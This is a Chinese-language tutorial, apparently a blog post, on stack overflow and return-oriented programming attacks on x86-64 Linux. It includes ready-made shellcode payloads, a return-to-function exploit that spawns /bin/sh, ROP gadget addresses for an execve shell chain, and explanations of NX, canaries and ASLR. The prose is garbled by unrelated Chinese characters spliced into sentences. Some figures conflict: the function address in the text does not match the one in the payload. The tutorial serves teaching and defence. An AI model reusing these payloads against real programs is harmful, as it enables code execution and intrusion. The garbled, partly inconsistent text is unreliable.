0. 引言
如果你學的第一門程序語言是C語言,那么下面這段程序很可能是你寫出來的第一個有完整的 “輸入---處理---輸出” 流程的程序:
#include <stdio.h>
int main() {
char name[64];
printf("What's your name?");
scanf("%s", name);
printf("Hello, %s!\n", name);
return 0;
}
也許這段小程序給你帶來了小小的成就感测柠,也許直到課程結(jié)束也沒人說這個程序有什么不對撒桨,也許你的老師在第一時間就指出這段代碼存在棧溢出
的漏洞摧扇,也許你后來又看到無數(shù)的文章指出這個問題同時強調(diào)千萬要慎用scanf
函數(shù)胰耗,也許你還知道stackoverflow
是最好的程序員網(wǎng)站祟剔。隔躲。。
但可能從來沒有人告訴你物延,什么是棧溢出宣旱、棧溢出有什么危害、黑客們可以利用棧溢出來進行什么樣的攻擊叛薯,還有你最想知道的浑吟,他們是如何利用棧溢出來實現(xiàn)攻擊的笙纤,以及如何防護他們的攻擊。
本文將一一為你解答這些問題组力。
1. 準備工具及知識
你需要準備以下工具:
- 一臺64位Linux操作系統(tǒng)的x86計算機(虛擬機也可)
- gcc編譯器省容、gdb調(diào)試器以及nasm匯編器(安裝命令:
sudo apt-get install build-essential gdb nasm
)
本文中所有代碼均在Debian8.1(amd64)、gcc4.9.2燎字、gdb7.7.1和nasm2.11.05以下運行通過腥椒,如果你使用的版本不一致,編譯選項和代碼中的有關數(shù)值可能需要根據(jù)實際情況略作修改候衍。
你需要具備以下基礎知識:
- 熟練使用C語言笼蛛、熟悉gcc編譯器以及Linux操作系統(tǒng)
- 熟悉x86匯編,熟練使用mov, push, pop, jmp, call, ret, add, sub這幾個常用命令
- 了解函數(shù)的調(diào)用過程以及調(diào)用約定
考慮到大部分學校里面使用的x86匯編教材都是32位蛉鹿、windows平臺下的滨砍,這里簡單介紹一下64位Linux平臺下的匯編的不同之處(如果你已熟悉Linux下的X86-64匯編,那你可以跳過以下內(nèi)容妖异,直接閱讀第2節(jié)):
第一個不同之處在于寄存器惋戏,64位的寄存器有rax, rbx, rcx, rdx, rsi, rdi, rsp, rbp, rip等,對應32位的eax, ebx, ecx, edx, esi, edi, esp, ebp, eip他膳,另外64位cpu中增加了r9, r10, ..., r15寄存器日川。
第二個不同之處在于函數(shù)的調(diào)用約定,x86-32位架構(gòu)下的函數(shù)調(diào)用一般通過棧來傳遞參數(shù)矩乐,而x86-64位架構(gòu)下的函數(shù)調(diào)用的一般用rdi,rsi,rdx,rcx,r8和r9寄存器依次保存前6個整數(shù)型參數(shù),浮點型參數(shù)保存在寄存器xmm0,xmm1...中回论,有更多的參數(shù)才通過棧來傳遞參數(shù)散罕。
第三個不同之處在于Linux系統(tǒng)特有的系統(tǒng)調(diào)用方式,Linux提供了許多很方便的系統(tǒng)調(diào)用(如write, read, open, fork, exec等)傀蓉,通過syscall
指令調(diào)用欧漱,由rax指定需要調(diào)用的系統(tǒng)調(diào)用編號,由rdi,rsi,rdx,r10,r9和r8寄存器傳遞系統(tǒng)調(diào)用需要的參數(shù)葬燎。Linux(x64)系統(tǒng)調(diào)用表詳見 linux system call table for x86-64误甚。
Linux(x64)下的Hello world匯編程序如下:
[section .text]
global _start
_start:
mov rax, 1 ; the system call for write ("1" for sys_write)
mov rdi, 1 ; file descriptor ("1" for standard output)
mov rsi, Msg ; string's address
mov rdx, 12 ; string's length
syscall
mov rax, 0x3c ; the system call for exit("0x3c" for sys_exit)
mov rdi, 0 ; exit code
syscall
Msg:
DB "Hello world!"
將以上代碼另存為hello-x64.asm
,再在終端輸入以下命令:
$ nasm -f elf64 hello-x64.asm
$ ld -s -o hello-x64 hello-x64.o
$ ./hello-x64
Hello world!
將編譯生成可執(zhí)行文件hello-x64
谱净,并在終端輸出Hello world!
窑邦。
另外,本文所有匯編都是用intel格式寫的壕探,為了使gdb顯示intel格式的匯編指令,需在home
目錄下新建一個.gdbinit
的文件,輸入以下內(nèi)容并保存:
set disassembly-flavor intel
set disassemble-next-line on
display
2. 經(jīng)典的棧溢出攻擊
現(xiàn)在回到最開始的這段程序:
#include <stdio.h>
int main() {
char name[64];
printf("What's your name?");
scanf("%s", name);
printf("Hello, %s!\n", name);
return 0;
}
將其另存為victim.c
躯喇,用gcc編譯并運行:
$ gcc victim.c -o victim -zexecstack -g
$ ./victim
What's your name?Jack
Hello, Jack!
上面的編譯選項中-g
表示輸出調(diào)試信息,-zexecstack
的作用后面再說厉熟。先來仔細分析一下源程序,這段程序聲明了一個長度為64的字節(jié)型數(shù)組较幌,然后打印提示信息揍瑟,再讀取用戶輸入的名字,最后輸出Hello和用戶輸入的名字乍炉。代碼似乎沒什么問題绢片,name數(shù)組64個字節(jié)應該是夠了吧?畢竟沒人的姓名會有64個字母恩急,畢竟我們的內(nèi)存空間也是有限的杉畜。但是,往壞處想一想衷恭,沒人能阻止用戶在終端輸入100甚至1000個的字符此叠,當那種情況發(fā)生時,會發(fā)生什么事情随珠?name數(shù)組只有64個字節(jié)的空間灭袁,那些多余的字符呢,會到哪里去窗看?
為了回答這兩個問題茸歧,需要了解程序運行時name數(shù)組是如何保存在內(nèi)存中的,這是一個局部變量显沈,顯然應該保存在棧上软瞎,那棧上的布局又是怎樣的?讓我們來分析一下程序中的匯編指令吧拉讯,先將目標程序的匯編碼輸出到victim.asm
文件中涤浇,命令如下:
objdump -d victim -M intel > victim.asm
然后打開victim.asm
文件,找到其中的main
函數(shù)的代碼:
0000000000400576 <main>:
400576: 55 push rbp
400577: 48 89 e5 mov rbp,rsp
40057a: 48 83 ec 40 sub rsp,0x40
40057e: bf 44 06 40 00 mov edi,0x400644
400583: b8 00 00 00 00 mov eax,0x0
400588: e8 b3 fe ff ff call 400440 <printf@plt>
40058d: 48 8d 45 c0 lea rax,[rbp-0x40]
400591: 48 89 c6 mov rsi,rax
400594: bf 56 06 40 00 mov edi,0x400656
400599: b8 00 00 00 00 mov eax,0x0
40059e: e8 cd fe ff ff call 400470 <__isoc99_scanf@plt>
4005a3: 48 8d 45 c0 lea rax,[rbp-0x40]
4005a7: 48 89 c6 mov rsi,rax
4005aa: bf 59 06 40 00 mov edi,0x400659
4005af: b8 00 00 00 00 mov eax,0x0
4005b4: e8 87 fe ff ff call 400440 <printf@plt>
4005b9: b8 00 00 00 00 mov eax,0x0
4005be: c9 leave
4005bf: c3 ret
可以看出魔慷,main函數(shù)的開頭和結(jié)尾和32位匯編中的函數(shù)幾乎一樣只锭。該函數(shù)的開頭的push rbp; mov rbp, rsp; sub rsp, 0x40
,先保存rbp的數(shù)值院尔,再令rbp等于rsp蜻展,然后將棧頂指針rsp減小0x40
(也就是64),相當于在棧上分配長度為64的空間邀摆,main函數(shù)中只有name一個局部變量纵顾,顯然這段空間就是name數(shù)組,即name的起始地址為rbp-0x40
隧熙。再結(jié)合函數(shù)結(jié)尾的leave; ret
片挂,同時類比一下32位匯編中的函數(shù)棧幀布局,可以畫出本程序中main函數(shù)的棧幀布局如下(請注意下圖是按棧頂在上、棧底在下的方式畫的):
Stack
+-------------+
| ... |
+-------------+
| ... |
name(-0x40)--> +-------------+
| ... |
+-------------+
| ... |
+-------------+
| ... |
+-------------+
| ... |
rbp(+0x00)--> +-------------+
| old rbp |
(+0x08)--> +-------------+ <--rsp points here just before `ret`
| ret rip |
+-------------+
| ... |
+-------------+
| ... |
+-------------+
rbp
即函數(shù)的棧幀基指針音念,在main函數(shù)中沪饺,name
數(shù)組保存在rbp-0x40~rbp+0x00
之間,rbp+0x00
處保存的是上一個函數(shù)的rbp數(shù)值
闷愤,rbp+0x08
處保存了main函數(shù)的返回地址
整葡。當main函數(shù)執(zhí)行完leave
命令,執(zhí)行到ret
命令時:上一個函數(shù)的rbp數(shù)值已重新取回至rbp寄存器讥脐,棧頂指針rsp已經(jīng)指向了保存這個返回地址的單元遭居。之后的ret
命令會將此地址出棧,然后跳到此地址旬渠。
現(xiàn)在可以回答剛才那個問題了俱萍,如果用戶輸入了很多很多字符,會發(fā)生什么事情告丢。此時scanf
函數(shù)會讀取第一個空格字符之前的所有字符枪蘑,然后全部拷貝到name
指向的地址處。若用戶輸入了100個“A”再回車岖免,則棧會是下面這個樣子:
Stack
+-------------+
| ... |
+-------------+
| ... |
name(-0x40)--> +-------------+
| AAAAAAAA |
+-------------+
| AAAAAAAA |
+-------------+
| AAAAAAAA |
+-------------+
| AAAAAAAA |
rbp(+0x00)--> +-------------+
| AAAAAAAA | (should be "old rbp")
(+0x08)--> +-------------+ <--rsp points here just before `ret`
| AAAAAAAA | (should be "ret rip")
+-------------+
| AAAAAAAA |
+-------------+
| ... |
+-------------+
也就是說岳颇,上一個函數(shù)的rbp
數(shù)值以及main函數(shù)的返回地址
全部都被改寫了,當執(zhí)行完ret
命令后颅湘,cpu將跳到0x4141414141414141
("AAAAAAAA")地址處话侧,開始執(zhí)行此地址的指令。
在Linux系統(tǒng)中闯参,0x4141414141414141
是一個非法地址瞻鹏,因此程序會出錯并退出。但是鹿寨,如果用戶輸入了精心挑選的字符后乙漓,覆蓋在這里的數(shù)值是一個合法的地址呢?如果這個地址上恰好保存了用戶想要執(zhí)行的惡意的指令呢释移?會發(fā)生什么事情?
以上就是棧溢出
的本質(zhì)寥殖,如果程序在接受用戶輸入的時候不對下標越界
進行檢查玩讳,直接將其保存到棧上,用戶就有可能利用這個漏洞嚼贡,輸入足夠多的熏纯、精心挑選的字符
,改寫函數(shù)的返回地址
(也可以是jmp粤策、call指令的跳轉(zhuǎn)地址
)樟澜,由此獲取對cpu的控制
,從而執(zhí)行任何他想執(zhí)行的動作。
下面介紹最經(jīng)典的棧溢出攻擊方法:將想要執(zhí)行的指令機器碼寫到name數(shù)組中秩贰,然后改寫函數(shù)返回地址為name的起始地址霹俺,這樣ret
命令執(zhí)行后將會跳轉(zhuǎn)到name起始地址,開始執(zhí)行name數(shù)組中的機器碼毒费。
我們將用這種方法執(zhí)行一段簡單的程序丙唧,該程序僅僅是在終端打印“Hack!”然后正常退出。
首先要知道name的起始地址觅玻,打開gdb
想际,對victim
進行調(diào)試,輸入gdb -q ./victim
溪厘,再輸入break *main
在main函數(shù)的開頭下一個斷點胡本,再輸入run
命令開始運行,如下:
$ gdb -q ./victim
Reading symbols from ./victim...done.
(gdb) break *main
Breakpoint 1 at 0x400576: file victim.c, line 3.
(gdb) run
Starting program: /home/hcj/blog/rop/ch02/victim
Breakpoint 1, main () at victim.c:3
3 int main() {
=> 0x0000000000400576 <main+0>: 55 push rbp
0x0000000000400577 <main+1>: 48 89 e5 mov rbp,rsp
0x000000000040057a <main+4>: 48 83 ec 40 sub rsp,0x40
(gdb)
此時程序停留在main函數(shù)的第一條指令處畸悬,輸入p &name[0]
和x/gx $rsp
分別查看name的起始指針和此時的棧頂指針rsp侧甫。
(gdb) p &name[0]
$1 = 0x7fffffffe100 "\001"
(gdb) x/gx $rsp
0x7fffffffe148: 0x00007ffff7a54b45
(gdb)
得到name的起始指針為0x7fffffffe100
、此時的棧頂指針rsp為0x7fffffffe148
傻昙,name到rsp之間一共0x48(也就是72)個字節(jié)闺骚,這和之前的分析是一致的。
下面來寫指令的機器碼妆档,首先寫出匯編代碼:
[section .text]
global _start
_start:
jmp END
BEGIN:
mov rax, 1
mov rdi, 1
pop rsi
mov rdx, 5
syscall
mov rax, 0x3c
mov rdi, 0
syscall
END:
call BEGIN
DB "Hack!"
這段程序和第一節(jié)的Hello-x64
基本一樣僻爽,不同之處在于巧妙的利用了call BEGIN和pop rsi
獲得了字符串“Hack”的地址、并保存到rsi
中贾惦。將以上代碼保存為shell.asm
胸梆,編譯運行一下:
$ nasm -f elf64 shell.asm
$ ld -s -o shell shell.o
$ ./shell
Hack!
然后用objdump
程序提取出機器碼:
$ objdump -d shell -M intel
...
0000000000400080 <.text>:
400080: eb 1e jmp 0x4000a0
400082: b8 01 00 00 00 mov eax,0x1
400087: bf 01 00 00 00 mov edi,0x1
40008c: 5e pop rsi
40008d: ba 05 00 00 00 mov edx,0x5
400092: 0f 05 syscall
400094: b8 3c 00 00 00 mov eax,0x3c
400099: bf 00 00 00 00 mov edi,0x0
40009e: 0f 05 syscall
4000a0: e8 dd ff ff ff call 0x400082
4000a5: 48 61 rex.W (bad)
4000a7: 63 6b 21 movsxd ebp,DWORD PTR [rbx+0x21]
以上機器碼一共42個字節(jié),name
到ret rip
之間一共72個字節(jié)须板,因此還需要補30個字節(jié)碰镜,最后填上name
的起始地址0x7fffffffe100
。main函數(shù)執(zhí)行到ret
命令時习瑰,棧上的數(shù)據(jù)應該是下面這個樣子的(注意最后的name起始地址
需要按小端順序
保存):
Stack
name(0x7fffffffe100)--> +---------------------------------+ <---+
| eb 1e (jmp END) | |
BEGIN--> +---------------------------------+ |
| b8 01 00 00 00 (mov eax,0x1) | |
+---------------------------------+ |
| bf 01 00 00 00 (mov edi,0x1) | |
+---------------------------------+ |
| 5e (pop rsi) | |
+---------------------------------+ |
| ba 05 00 00 00 (mov edx,0x5) | |
+---------------------------------+ |
| 0f 05 (syscall) | |
+---------------------------------+ |
| b8 3c 00 00 00 (mov eax,0x3c) | |
+---------------------------------+ |
| bf 00 00 00 00 (mov edi,0x0) | |
+---------------------------------+ |
| 0f 05 (syscall) | |
END-> +---------------------------------+ |
| e8 dd ff ff ff (call BEGIN) | |
+---------------------------------+ |
| 48 61 63 6b 21 ("Hack!") | |
(0x7fffffffe12a)--> +---------------------------------+ |
| "\x00"*30 | |
rsp(0x7fffffffe148)--> +---------------------------------+ |
| 00 e1 ff ff ff 7f 00 00 | ----+
+---------------------------------+
上圖中的棧上的所有字節(jié)碼就是我們需要輸入給scanf
函數(shù)的字符串绪颖,這個字符串一般稱為shellcode
。由于這段shellcode
中有很多無法通過鍵盤輸入的字節(jié)碼甜奄,因此用python
將其打印至文件中:
python -c 'print "\xeb\x1e\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x5e\xba\x05\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05\xe8\xdd\xff\xff\xff\x48\x61\x63\x6b\x21" + "\x00"*30 + "\x00\xe1\xff\xff\xff\x7f\x00\x00"' > shellcode
現(xiàn)在可以對victim
進行攻擊了柠横,不過目前只能在gdb
的調(diào)試環(huán)境下進行攻擊。輸入gdb -q ./victim
课兄,再輸入run < shellcode
:
$ gdb -q ./victim
Reading symbols from ./victim...done.
(gdb) run < shellcode
Starting program: /home/hcj/blog/rop/ch02/victim < shellcode
What's your name?Hello, ????!
Hack![Inferior 1 (process 2711) exited normally]
(gdb)
可以看到shellcode
已經(jīng)順利的被執(zhí)行牍氛,棧溢出攻擊成功。
編寫shellcode
需要注意兩個事情:(1) 為了使shellcode被scanf
函數(shù)全部讀取烟阐,shellcode中不能含有空格字符(包括空格搬俊、回車紊扬、Tab鍵等),也就是說不能含有\x10唉擂、\x0a餐屎、\x0b、\x0c楔敌、\x20
等這些字節(jié)碼啤挎,否則shellcode將會被截斷
。如果被攻擊的程序使用gets卵凑、strcpy
這些字符串拷貝函數(shù)庆聘,那么shellcode中不能含有\x00
。(2) 由于shellcode被加載到棧上的位置不是固定的勺卢,因此要求shellcode被加載到任意位置都能執(zhí)行伙判,也就是說shellcode中要盡量使用相對尋址
。
3. 棧溢出攻擊的防護
為了防止棧溢出攻擊黑忱,最直接和最根本的辦法當然是寫出嚴謹?shù)拇a宴抚,剔除任何可能發(fā)生棧溢出的代碼。但是當程序的規(guī)模大到一定的程序時甫煞,代碼錯誤很難被發(fā)現(xiàn)菇曲,因此操作系統(tǒng)和編譯器采取了一些措施來防護棧溢出攻擊,主要有以下措施抚吠。
(1) 棧不可執(zhí)行機制
操作系統(tǒng)可以利用cpu硬件的特性常潮,將棧設置為不可執(zhí)行的,這樣上一節(jié)所述的將攻擊代碼放在棧上的攻擊方法就無法實施了楷力。
上一節(jié)中gcc victim.c -o victim -zexecstack -g
喊式,其中的-zexecstack
選項就是告訴操作系統(tǒng)允許本程序的棧可執(zhí)行萧朝。去掉此選項再編譯一次試試看:
$ gcc victim.c -o victim_nx -g
$ gdb -q ./victim_nx
Reading symbols from ./victim_nx...done.
(gdb) r < shellcode
Starting program: /home/hcj/blog/rop/ch02/victim_nx < shellcode
What's your name?Hello, ????!
Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe100 in ?? ()
=> 0x00007fffffffe100: eb 1e jmp 0x7fffffffe120
(gdb)
可以看到當程序跳轉(zhuǎn)到name的起始地址0x00007fffffffe100
后岔留,嘗試執(zhí)行此處的指令的時候發(fā)生了一個Segmentation fault
,之后就中止運行了检柬。
目前來說大部分程序都沒有在棧上執(zhí)行代碼的需求献联,因此將棧設置為不可執(zhí)行對大部分程序的正常運行都沒有任何影響,因此Linux和Windows平臺上默認都是打開棧不可執(zhí)行機制的何址。
(2) 棧保護機制
以gcc編譯器為例酱固,編譯時若打開棧保護開關,則會在函數(shù)的進入和返回的地方增加一些檢測指令头朱,這些指令的作用是:當進入函數(shù)時,在棧上龄减、ret rip
之前保存一個只有操作系統(tǒng)知道的數(shù)值项钮;當函數(shù)返回時,檢查棧上這個地方的數(shù)值有沒有被改寫,若被改寫了烁巫,則中止程序運行署隘。由于這個數(shù)值保存在ret rip
的前面,因此若ret rip
被改寫了亚隙,它肯定也會被改寫磁餐。這個數(shù)值被形象的稱為金絲雀
。
讓我們打開棧保護開關重新編譯一下victim.c
:
$ gcc victim.c -o victim_fsp -g -fstack-protector
$ objdump -d victim_fsp -M intel > victim_fsp.asm
打開victim_fsp.asm
找到main函數(shù)阿弃,如下:
00000000004005d6 <main>:
4005d6: 55 push rbp
4005d7: 48 89 e5 mov rbp,rsp
4005da: 48 83 ec 50 sub rsp,0x50
4005de: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
4005e5: 00 00
4005e7: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
...
40062d: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8]
400631: 64 48 33 14 25 28 00 xor rdx,QWORD PTR fs:0x28
400638: 00 00
40063a: 74 05 je 400641 <main+0x6b>
40063c: e8 4f fe ff ff call 400490 <__stack_chk_fail@plt>
400641: c9 leave
400642: c3 ret
可以看到函數(shù)的開頭增加了mov rax,QWORD PTR fs:0x28; mov QWORD PTR [rbp-0x8],rax
诊霹,函數(shù)退出之前增加了mov rdx,QWORD PTR [rbp-0x8]; xor rdx,QWORD PTR fs:0x28; je 400641 <main+0x6b>; call 400490 <__stack_chk_fail@plt>
這樣的檢測代碼。
棧保護機制的缺點一個是開銷太大渣淳,每個函數(shù)都要增加5條指令脾还,第二個是只能保護函數(shù)的返回地址,無法保護jmp入愧、call指令的跳轉(zhuǎn)地址鄙漏。在gcc4.9版本中默認是關閉棧保護機制的。
(3) 內(nèi)存布局隨機化機制
內(nèi)存布局隨機化就是將程序的加載位置棺蛛、堆棧位置以及動態(tài)鏈接庫的映射位置隨機化怔蚌,這樣攻擊者就無法知道程序的運行代碼和堆棧上變量的地址。以上一節(jié)的攻擊方法為例旁赊,如果程序的堆棧位置是隨機的桦踊,那么攻擊者就無法知道name數(shù)組的起始地址,也就無法將main函數(shù)的返回地址改寫為shellcode中攻擊指令的起始地址從而實施他的攻擊了彤恶。
內(nèi)存布局隨機化需要操作系統(tǒng)和編譯器的密切配合钞钙,而全局的隨機化是非常難實現(xiàn)的。堆棧位置隨機化和動態(tài)鏈接庫映射位置隨機化的實現(xiàn)的代價比較小声离,Linux系統(tǒng)一般都是默認開啟的芒炼。而程序加載位置隨機化則要求編譯器生成的代碼被加載到任意位置都可以正常運行,在Linux系統(tǒng)下术徊,會引起較大的性能開銷本刽,因此Linux系統(tǒng)下一般的用戶程序都是加載到固定位置運行的。
在Debian8.1和gcc4.9.2環(huán)境下實驗赠涮,代碼如下:
#include <stdio.h>
char g_name[64];
void *get_rip()
{
asm("\n\
.intel_syntax noprefix\n\
mov rax, [rbp+8]\n\
.att_syntax\n\
");
}
int main()
{
char name[64];
printf("Address of `g_name` (Global variable): %x\n", g_name);
printf("Address of `name` (Local variable): %x\n", name);
printf("Address of `main` (User code): %x\n", main);
printf("Value of rip: %x\n", get_rip());
return 0;
}
將以上代碼另存為aslr_test.c
子寓,編譯并運行幾次,如下:
$ gcc -o aslr_test aslr_test.c
$ ./aslr_test
Address of `g_name` (Global variable): 600a80
Address of `name` (Local variable): d3933580
Address of `main` (User code): 400510
Value of rip: 400560
$ ./aslr_test
Address of `g_name` (Global variable): 600a80
Address of `name` (Local variable): 512cd150
Address of `main` (User code): 400510
Value of rip: 400560
可見每次運行笋除,只有局部變量的地址是變化的斜友,全局變量的地址、main函數(shù)的地址以及某條指令運行時刻的實際rip數(shù)值都是不變垃它,因此程序是被加載到固定位置運行鲜屏,但堆棧位置是隨機的烹看。
動態(tài)鏈接庫的映射位置可以用ldd
命令查看,如下:
$ ldd aslr_test
linux-vdso.so.1 (0x00007ffe1dd9d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f26b7e71000)
/lib64/ld-linux-x86-64.so.2 (0x00007f26b821a000)
$ ldd aslr_test
linux-vdso.so.1 (0x00007ffc6a771000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4ec92c0000)
/lib64/ld-linux-x86-64.so.2 (0x00007f4ec9669000)
可見每次運行洛史,這三個動態(tài)鏈接庫映射到進程aslr_test
中的位置都是變化的惯殊。
4. ROP 攻擊
在操作系統(tǒng)和編譯器的保護下,程序的棧是不可運行的也殖、棧的位置是隨機的土思,增大了棧溢出攻擊的難度。但如果程序的加載位置是固定的忆嗜、或者程序中存在加載到固定位置的可執(zhí)行代碼己儒,攻擊者就可以利用這些固定位置上的代碼來實施他的攻擊。
考慮下面的代碼霎褐,其中含有一個borrowed
函數(shù)址愿,作用是打開一個shell
終端。
#include <stdio.h>
#include <unistd.h>
void borrowed() {
execl("/bin/sh", NULL, NULL);
}
int main() {
char name[64];
printf("What's your name?");
scanf("%s", name);
printf("Hello, %s!\n", name);
return 0;
}
將以上代碼另存為victim.c
編譯冻璃,并提取匯編碼到victim.asm
中响谓,如下:
$ gcc -o victim victim.c
$ objdump -d victim -M intel > victim.asm
打開victim.asm
可以查到borrowed
函數(shù)的地址為0x4050b6
。因此省艳,若攻擊者利用棧溢出將main函數(shù)的返回地址改寫為0x4050b6
娘纷,則main函數(shù)返回時會轉(zhuǎn)到borrowed函數(shù)運行,打開一個shell終端跋炕,后面就可以利用終端干很多事情了赖晶。
現(xiàn)在來試一試吧:
$ python -c 'print "\x00"*72+"\xb6\x05\x40\x00\x00\x00\x00\x00"' > shellcode
$ cat shellcode - | ./victim
What's your name?Hello, !
ls
shellcode victim victim.asm victim.c
mkdir xxx
ls
shellcode victim victim.asm victim.c xxx
rmdir xxx
ls
shellcode victim victim.asm victim.c
可以看出終端被成功的打開了,并運行了ls辐烂、mkdir遏插、rmdir
命令。
注意以上攻擊命令中cat shellcode - | ./victim
的-
是不能省略的纠修,否則終端打開后就會立即關閉胳嘲。
這個例子表明,攻擊者可以利用程序自身的代碼來實施攻擊扣草,從而繞開棧不可執(zhí)行和棧位置隨機化的防護了牛。這個程序是一個特意構(gòu)造的例子,實際的程序中當然不太可能埋一個borrowed
函數(shù)這樣的炸彈
來等著人來引爆辰妙。但是鹰祸,攻擊者可以利用程序自身的、沒有任何惡意的代碼片段
來組裝出這樣的炸彈
來密浑,這就是ROP
攻擊蛙婴。
ROP攻擊全稱為Return-oriented programming
,在這種攻擊中尔破,攻擊者先搜索出程序自身中存在的跳板指令(gadgets)
街图,然后將一些跳板指令串起來背传,組裝成一段完整的攻擊程序。
跳板指令就是以ret
結(jié)尾的指令(也可以是以jmp台夺、call
結(jié)尾的指令),如mov rax, 1; ret | pop rax; ret
痴脾。那如何將跳板指令串起來颤介?
假如程序中在0x1234 | 0x5678 | 0x9abc
地址處分別存在三段跳板指令mov rax, 10; ret | mov rbx, 20; ret | add rax, rbx; ret
,且當前的rip
指向的指令是ret
赞赖,如果將0x1234 | 0x5678 | 0x9abc
三個地址的數(shù)值放到棧上滚朵,如下:
Stack Code
rsp(+0x00)-->+-------------+ +-------------+<--rip
| 0x1234 |--------+ | ret |
(+0x08)-->+-------------+ | +-------------+
| 0x5678 |-----+ | | ... |
(+0x10)-->+-------------+ | +-->+-------------+<--0x1234
| 0x9abc |--+ | | mov rax, 10 |
+-------------+ | | +-------------+
| ... | | | | ret |
+-------------+ | | +-------------+
| ... | | | | ... |
+-------------+ | +----->+-------------+<--0x5678
| ... | | | mov rbx, 20 |
+-------------+ | +-------------+
| ... | | | ret |
+-------------+ | +-------------+
| ... | | | ... |
+-------------+ +-------->+-------------+<--0x9abc
| ... | | add rax,rbx |
+-------------+ +-------------+
| ... | | ret |
+-------------+ +-------------+
Equivalent codes:
mov rax, 10
mov rbx, 20
add rax, rbx
則執(zhí)行完ret
指令后,程序?qū)⑻D(zhuǎn)到0x1234
前域,執(zhí)行mov rax, 1; ret
辕近,后面這個ret
指令又將跳轉(zhuǎn)到0x5678
...,之后再跳轉(zhuǎn)到0x9abc
匿垄,整個流程好像在順序執(zhí)行mov rax, 10; mov rbx, 20; add rax, rbx
一樣移宅。
可見只要將這些以ret
指令結(jié)尾的gadgets
的地址放在棧上合適的位置,這些ret
指令就會按指定的順序一步步的在這些gadgets
之間跳躍椿疗。
再看一個稍微復雜的例子:
Stack Code
rsp(+0x00)-->+-------------+ +-------------+<--rip
| addr1 |-----+ | ret |
(+0x08)-->+-------------+ | +-------------+
| 0x3b | | | ... |
+-------------+ +-->+-------------+<--addr1
| addr2 |--+ | pop rax |
+-------------+ | +-------------+
| ... | | | ret |
+-------------+ | +-------------+
| ... | | | ... |
+-------------+ +----->+-------------+<--addr2
| ... | | next inst |
+-------------+ +-------------+
| ... | | ret |
+-------------+ +-------------+
Equivalent codes:
mov rax, 0x3b
這個例子中漏峰,跳板指令是pop rax; ret
,執(zhí)行完后届榄,棧上的0x3b
將pop到rax中浅乔,因此這種型式的跳板指令可以實現(xiàn)對寄存器的賦值。
而add rsp, 10h; ret
型式的跳板指令可以模擬流程跳轉(zhuǎn)铝条,如下:
Stack Code
rsp(+0x00)-->+-------------+ +-------------+<--rip
| addr1 |-----------+ | ret |
(+0x08)-->+-------------+ | +-------------+
| addr2 |--------+ | | ... |
+-------------+ | +-->+-------------+<--addr1
| addr3 |-----+ | | add rsp,10h |
+-------------+ | | +-------------+
| addr4 |--+ | | | ret |
+-------------+ | | | +-------------+
| ... | | | | | ... |
+-------------+ | | +----->+-------------+<--addr2
| ... | | | | inst2 |
+-------------+ | | +-------------+
| ... | | | | ret |
+-------------+ | | +-------------+
| ... | | | | ... |
+-------------+ | +-------->+-------------+<--addr3
| ... | | | inst3 |
+-------------+ | +-------------+
| ... | | | ret |
+-------------+ | +-------------+
| ... | | | ... |
+-------------+ +----------->+-------------+<--addr4
| ... | | inst4 |
+-------------+ +-------------+
| ... | | ret |
+-------------+ +-------------+
Equivalent codes:
jmp there
inst2
inst3
there: inst4
條件跳轉(zhuǎn)甚至函數(shù)調(diào)用都可以用精心構(gòu)造出的gadgets鏈
來模擬靖苇。只要找出一些基本的gadgets
,就可以使用這些gadgets
來組裝出復雜的攻擊程序班缰。而只要被攻擊程序的代碼量有一定的規(guī)模贤壁,就不難在這個程序的代碼段中搜索出足夠多的gadgets
(注意目標程序的代碼中不需要真正有這樣的指令,只需要恰好有這樣的指令的機器碼鲁捏,例如如果需要用到跳板指令pop rax; ret
芯砸,只需要目標程序的代碼段中含有字節(jié)碼串58 C3
就可以了)。
下面以實例來展示一下ROP攻擊
的強大给梅,在這個例子中假丧,將利用gadgets
組裝出程序,執(zhí)行exec系統(tǒng)調(diào)用
打開一個shell
終端动羽。
用exec系統(tǒng)調(diào)用打開一個shell終端需要的參數(shù)和指令如下:
mov rax, 0x3b ; system call number, 0x3b for sys_exec
mov rdi, PROG ; char *prog (program path)
mov rsi, 0 ; char **agcv
mov rdx, 0 ; char **env
syscall
PROG: DB "/bin/sh", 0
其中rax為系統(tǒng)調(diào)用編號包帚,rdi為字符串指針、指向可執(zhí)行程序的完整路徑运吓,rsi和rdx都是字符串指針數(shù)組渴邦,保存了參數(shù)列表和環(huán)境變量疯趟,在此處可以直接至為0。
為了增大被攻擊程序的體積谋梭,以搜索到盡可能多的gadgets信峻,在原來的代碼中增加一個random函數(shù)
,同時用靜態(tài)鏈接的方式重新編譯一下victim.c:
$ cat victim.c
#include <stdio.h>
#include <stdlib.h>
int main() {
char name[64];
printf("What's your name?");
scanf("%s", name);
printf("Hello, %s%ld!\n", name, random());
return 0;
}
$ gcc -o victim victim.c -static
手工搜索目標程序中的gadgets顯然是不現(xiàn)實的瓮床,采用JonathanSalwan編寫的ROPgadget
搜索盹舞,網(wǎng)址在這里:https://github.com/JonathanSalwan/ROPgadget,可以使用pip安裝:
su
apt-get install python-pip
pip install capstone
pip install ropgadget
exit
安裝完成后隘庄,可以使用下面的命令來搜索gadgets
:
ROPgadget --binary ./victim --only "pop|ret"
搜索到程序中存在的跳板指令只是第一步踢步。接下來需要挑選并組裝gadgets,過程非常繁瑣丑掺、復雜获印,不再敘述了〗种荩總之兼丰,經(jīng)過多次嘗試,最后找到了以下gadgets:
0x00000000004003f2 : pop r12 ; ret
0x00000000004018ed : pop r12 ; pop r13 ; ret
0x0000000000487318 : mov rdi, rsp ; call r12
0x0000000000431b3d : pop rax ; ret
0x00000000004333d9 : pop rdx ; pop rsi ; ret
0x000000000043d371 : syscall
按下圖的方式拼裝gadgets菇肃,圖中的‘+’號旁邊的數(shù)字0地粪、1、2琐谤、...蟆技、13表示攻擊程序執(zhí)行過程中rip和rsp的移動順序。
Stack Code
name-->+--------------------+ +--------------+0<--rip
| "\x00"*72 | | ret |
rsp-->0+--------------------+ +--------------+
